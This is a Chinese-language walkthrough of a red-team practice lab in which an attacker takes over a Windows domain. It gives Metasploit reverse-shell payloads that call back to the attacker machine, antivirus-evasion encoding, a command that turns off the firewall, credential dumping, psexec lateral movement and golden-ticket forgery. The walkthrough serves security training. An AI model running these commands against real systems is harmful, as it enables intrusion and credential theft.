免责声明:涉及到的所有技术和工具仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透,否则产生的一切后果自行承担!
一、环境搭建
参考链接:
https://www.codeprj.com/blog/d3ef831.html
靶机:统一初始密码为-->1qaz@WSX
主机 |
网卡1(内) |
网卡2(外) |
kali |
/ |
192.168.133.128 |
WEB(WEB服务器) |
10.10.10.80 |
192.168.133.130 |
PC.de1ay(域内主机) |
10.10.10.201 |
192.168.133.129 |
DC.de1ay(域控服务器) |
10.10.10.10 |
/ |
WEB这台机器有点坑,当登录WEB机器时,需要先恢复快照3,登录时切换用户WEB/de1ay,密码为初始密码,进入之后,修改NAT网卡的网段,然后需要在
C:OracleMiddlewareuser_projectsdomainsbase_domainstartWeblogic
二、外网渗透
2.1信息收集
我们已知Web服务器的公网IP为192.168.133.130,所以,我们先对Web服务端进行端口扫描
nmap -p- 192.168.133.130
2.2漏洞探测
发现目标主机上开放了445,1433,7001端口,分别运行mssql和Weblogic服务,所以我们先从7001的Weblogic下手
访问服务器的控制台只需要在IP后拼接console字段即自动跳转,如下:
http://192.168.133.130/console
这里发现Weblogic的版本为10.3.6.0,直接用Weblogic工具梭一波(建议大家GitHub上面找一些POC来验证,这里经过测试,我们采用CVE-2019-2725)
2.3漏洞利用
在漏洞利用之前需要查看有无防护软件
run post/windows/gather/enum_applications
在这里发现了有360,所以我们需要对防护软件进行绕过
然后我们用msf自带的模块进行漏洞利用:
search CVE-2019-2725
use 0
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.133.130
set lhost 192.168.133.128
setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru
#需要在advanced选项中对payload进行简单的编码
run
成功返回meterpreter,这里做了编码,目的就是为了绕过360,当然,网上又很多免杀的其他方式,这里小智用的是msf的自免杀。通过x64/zutto_dekiru编码绕过即可
2.4msf派生CS
成功上线msf,将msf派生到CS再进行权限提升,方便后续操作,当然,这里我也提供了msf的提权
先在CS创建监听器
然后将会话放置后台
background
use exploit/windows/local/payload_inject
show options
set payload windows/meterpreter/reverse_http # 同样注意cs中的监听器的协议要保持一致
set LHOST 192.168.133.128 # cs的ip
set LPORT 8888 # cs监听的端口
set session 1 # 选择session
show options
set DisablePayloadHandler true
# 用来禁用 Metasploit payload handler的监听,目的就是告诉 Metasploit,我们已经建立了监听器,不必再新建监听器了,避免在 Metasploit 内再起一个 handler 来服务你的 payload 连接
set PrependMigrate true
# 用来启用迁移进程,这个操作可以前置MSF shellcode 在另一个进程中运行,如果被利用的应用程序崩溃或被用户关闭,MSF中的会话断开,但转到CS的 Beacon 会话仍然是存活的,该选项可选
run
成功上线
2.4权限提升(msf+cs)
因为上一步我们进行了派生,所以这里就直接尝试用插件一键提权,这里用到了ms15-051,成功提权!
这里也尝试了msf提权,使用ms15-051
search ms15-051
use 0
set target windows/x64
set payload windows/x64/meterpreter/reverse_tcp
set session 2
run
这里也是成功提权!
至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。
三、内网渗透
进入内网,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确目标之后,我们就可以针对性的进行信息收集了。
3.1信息收集
查看配置信息
shell systeminfo
查看本机IP,所在域为de1ay.com
shell ipconfig /all
查看防火墙状态并关闭防火墙
shell netsh advfirewall show all state //查看防火墙状态
shell netsh advfirewall set allprofile state off //关闭防火墙
查看用户组
shell net localgroup
查看域控和域中的其他主机名
shell net group "domain controllers" /domain
shell net group "domain computers" /domain
hashdump(插件)
mimikatz抓取密码(插件)
之前扫端口开放3389,所以可以直接远程连接
3.2横向移动
这里生成凭证,连接域控,然后反弹
首先移除凭证
rev2self
通过之前获得的DC 管理的token生成新的凭证
make_token DE1AY.COMAdministrator Admin@123
接下来就是SMB横向了
jump psexec DC hh
域控成功上线!
同理上线PC即可
3.3权限维持
3.3.1黄金票据
从DC中hashdump出krbtgt的hash值,krbtgt用户是域中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户
hashdump
在DC查看域的sid
logonpasswords
直接远程连接dir域控c盘成功
shell dir \10.10.10.10c$
3.3.2白银票据
类似低等一点的白银票据,也是要获取sid和 hash值
黄金票据和白银票据最后都是这一步,访问域控的c盘
shell dir \10.10.10.10c$
原文始发于微信公众号(智检安全):红日ATT&CK实战系列(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论